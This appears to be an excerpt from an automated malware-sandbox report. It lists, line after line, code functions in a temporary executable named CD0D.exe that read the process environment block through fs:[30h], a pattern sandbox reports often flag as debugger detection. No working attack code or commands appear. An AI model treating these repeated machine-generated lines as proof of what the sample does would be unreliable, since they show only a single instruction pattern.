Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9140E1 mov eax, dword ptr fs:[00000030h]	22_2_6A9140E1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9140E1 mov eax, dword ptr fs:[00000030h]	22_2_6A9140E1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B8E4 mov eax, dword ptr fs:[00000030h]	22_2_6A93B8E4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B8E4 mov eax, dword ptr fs:[00000030h]	22_2_6A93B8E4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9158EC mov eax, dword ptr fs:[00000030h]	22_2_6A9158EC
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9EF019 mov eax, dword ptr fs:[00000030h]	22_2_6A9EF019
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9EF019 mov eax, dword ptr fs:[00000030h]	22_2_6A9EF019
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F018 mov eax, dword ptr fs:[00000030h]	22_2_6A91F018
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F018 mov eax, dword ptr fs:[00000030h]	22_2_6A91F018
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E4015 mov eax, dword ptr fs:[00000030h]	22_2_6A9E4015
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E4015 mov eax, dword ptr fs:[00000030h]	22_2_6A9E4015
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916800 mov eax, dword ptr fs:[00000030h]	22_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916800 mov eax, dword ptr fs:[00000030h]	22_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916800 mov eax, dword ptr fs:[00000030h]	22_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A928800 mov eax, dword ptr fs:[00000030h]	22_2_6A928800
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A830 mov eax, dword ptr fs:[00000030h]	22_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A830 mov eax, dword ptr fs:[00000030h]	22_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A830 mov eax, dword ptr fs:[00000030h]	22_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A830 mov eax, dword ptr fs:[00000030h]	22_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944020 mov edi, dword ptr fs:[00000030h]	22_2_6A944020
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915050 mov eax, dword ptr fs:[00000030h]	22_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915050 mov eax, dword ptr fs:[00000030h]	22_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915050 mov eax, dword ptr fs:[00000030h]	22_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A917055 mov eax, dword ptr fs:[00000030h]	22_2_6A917055
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E1074 mov eax, dword ptr fs:[00000030h]	22_2_6A9E1074
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D2073 mov eax, dword ptr fs:[00000030h]	22_2_6A9D2073
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93F86D mov eax, dword ptr fs:[00000030h]	22_2_6A93F86D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944190 mov eax, dword ptr fs:[00000030h]	22_2_6A944190
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942990 mov eax, dword ptr fs:[00000030h]	22_2_6A942990
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91519E mov eax, dword ptr fs:[00000030h]	22_2_6A91519E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91519E mov ecx, dword ptr fs:[00000030h]	22_2_6A91519E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93C182 mov eax, dword ptr fs:[00000030h]	22_2_6A93C182
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94A185 mov eax, dword ptr fs:[00000030h]	22_2_6A94A185
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DA189 mov eax, dword ptr fs:[00000030h]	22_2_6A9DA189
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DA189 mov ecx, dword ptr fs:[00000030h]	22_2_6A9DA189
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9951BE mov eax, dword ptr fs:[00000030h]	22_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9951BE mov eax, dword ptr fs:[00000030h]	22_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9951BE mov eax, dword ptr fs:[00000030h]	22_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9951BE mov eax, dword ptr fs:[00000030h]	22_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov eax, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov eax, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov eax, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF mov eax, dword ptr fs:[00000030h]	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9461A0 mov eax, dword ptr fs:[00000030h]	22_2_6A9461A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9461A0 mov eax, dword ptr fs:[00000030h]	22_2_6A9461A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	22_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	22_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	22_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	22_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]	22_2_6A91B1E1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]	22_2_6A91B1E1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]	22_2_6A91B1E1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9131E0 mov eax, dword ptr fs:[00000030h]	22_2_6A9131E0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A41E8 mov eax, dword ptr fs:[00000030h]	22_2_6A9A41E8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E89E7 mov eax, dword ptr fs:[00000030h]	22_2_6A9E89E7
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919100 mov eax, dword ptr fs:[00000030h]	22_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919100 mov eax, dword ptr fs:[00000030h]	22_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919100 mov eax, dword ptr fs:[00000030h]	22_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A920100 mov eax, dword ptr fs:[00000030h]	22_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A920100 mov eax, dword ptr fs:[00000030h]	22_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A920100 mov eax, dword ptr fs:[00000030h]	22_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913138 mov ecx, dword ptr fs:[00000030h]	22_2_6A913138
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94513A mov eax, dword ptr fs:[00000030h]	22_2_6A94513A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94513A mov eax, dword ptr fs:[00000030h]	22_2_6A94513A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91395E mov eax, dword ptr fs:[00000030h]	22_2_6A91395E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91395E mov eax, dword ptr fs:[00000030h]	22_2_6A91395E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B944 mov eax, dword ptr fs:[00000030h]	22_2_6A93B944
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B944 mov eax, dword ptr fs:[00000030h]	22_2_6A93B944
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B171 mov eax, dword ptr fs:[00000030h]	22_2_6A91B171
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B171 mov eax, dword ptr fs:[00000030h]	22_2_6A91B171
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8966 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8966
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DE962 mov eax, dword ptr fs:[00000030h]	22_2_6A9DE962
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DE9E mov eax, dword ptr fs:[00000030h]	22_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DE9E mov eax, dword ptr fs:[00000030h]	22_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DE9E mov eax, dword ptr fs:[00000030h]	22_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913E80 mov eax, dword ptr fs:[00000030h]	22_2_6A913E80
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913E80 mov eax, dword ptr fs:[00000030h]	22_2_6A913E80
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A2EA3 mov eax, dword ptr fs:[00000030h]	22_2_6A9A2EA3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9946A7 mov eax, dword ptr fs:[00000030h]	22_2_6A9946A7
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8ED6 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8ED6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9436CC mov eax, dword ptr fs:[00000030h]	22_2_6A9436CC
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A953EE4 mov eax, dword ptr fs:[00000030h]	22_2_6A953EE4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A953EE4 mov eax, dword ptr fs:[00000030h]	22_2_6A953EE4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A953EE4 mov eax, dword ptr fs:[00000030h]	22_2_6A953EE4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9416E0 mov ecx, dword ptr fs:[00000030h]	22_2_6A9416E0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A2E14 mov eax, dword ptr fs:[00000030h]	22_2_6A9A2E14
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91C600 mov eax, dword ptr fs:[00000030h]	22_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91C600 mov eax, dword ptr fs:[00000030h]	22_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91C600 mov eax, dword ptr fs:[00000030h]	22_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CFE3F mov eax, dword ptr fs:[00000030h]	22_2_6A9CFE3F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91A63B mov eax, dword ptr fs:[00000030h]	22_2_6A91A63B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91A63B mov eax, dword ptr fs:[00000030h]	22_2_6A91A63B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A950E21 mov eax, dword ptr fs:[00000030h]	22_2_6A950E21
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A995623 mov eax, dword ptr fs:[00000030h]	22_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6652 mov eax, dword ptr fs:[00000030h]	22_2_6A9A6652
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943E70 mov eax, dword ptr fs:[00000030h]	22_2_6A943E70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov ecx, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913FC5 mov eax, dword ptr fs:[00000030h]	22_2_6A913FC5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913FC5 mov eax, dword ptr fs:[00000030h]	22_2_6A913FC5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913FC5 mov eax, dword ptr fs:[00000030h]	22_2_6A913FC5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9537F5 mov eax, dword ptr fs:[00000030h]	22_2_6A9537F5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB mov eax, dword ptr fs:[00000030h]	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944710 mov eax, dword ptr fs:[00000030h]	22_2_6A944710
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93F716 mov eax, dword ptr fs:[00000030h]	22_2_6A93F716
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9AFF10 mov eax, dword ptr fs:[00000030h]	22_2_6A9AFF10
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9AFF10 mov eax, dword ptr fs:[00000030h]	22_2_6A9AFF10
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916730 mov eax, dword ptr fs:[00000030h]	22_2_6A916730
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916730 mov eax, dword ptr fs:[00000030h]	22_2_6A916730
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916730 mov eax, dword ptr fs:[00000030h]	22_2_6A916730
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94E730 mov eax, dword ptr fs:[00000030h]	22_2_6A94E730
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B73D mov eax, dword ptr fs:[00000030h]	22_2_6A93B73D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B73D mov eax, dword ptr fs:[00000030h]	22_2_6A93B73D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914F2E mov eax, dword ptr fs:[00000030h]	22_2_6A914F2E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914F2E mov eax, dword ptr fs:[00000030h]	22_2_6A914F2E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	22_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	22_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	22_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	22_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	22_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91A745 mov eax, dword ptr fs:[00000030h]	22_2_6A91A745
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DF4C mov eax, dword ptr fs:[00000030h]	22_2_6A94DF4C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70 mov eax, dword ptr fs:[00000030h]	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916F60 mov eax, dword ptr fs:[00000030h]	22_2_6A916F60
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916F60 mov eax, dword ptr fs:[00000030h]	22_2_6A916F60
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93E760 mov eax, dword ptr fs:[00000030h]	22_2_6A93E760
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93E760 mov eax, dword ptr fs:[00000030h]	22_2_6A93E760
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8F6A mov eax, dword ptr fs:[00000030h]	22_2_6A9E8F6A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91649B mov eax, dword ptr fs:[00000030h]	22_2_6A91649B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91649B mov eax, dword ptr fs:[00000030h]	22_2_6A91649B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A911480 mov eax, dword ptr fs:[00000030h]	22_2_6A911480
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914CB0 mov eax, dword ptr fs:[00000030h]	22_2_6A914CB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E9CB3 mov eax, dword ptr fs:[00000030h]	22_2_6A9E9CB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8CD6 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8CD6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912CDB mov eax, dword ptr fs:[00000030h]	22_2_6A912CDB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D14FB mov eax, dword ptr fs:[00000030h]	22_2_6A9D14FB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8C14 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8C14
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E740D mov eax, dword ptr fs:[00000030h]	22_2_6A9E740D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E740D mov eax, dword ptr fs:[00000030h]	22_2_6A9E740D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E740D mov eax, dword ptr fs:[00000030h]	22_2_6A9E740D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
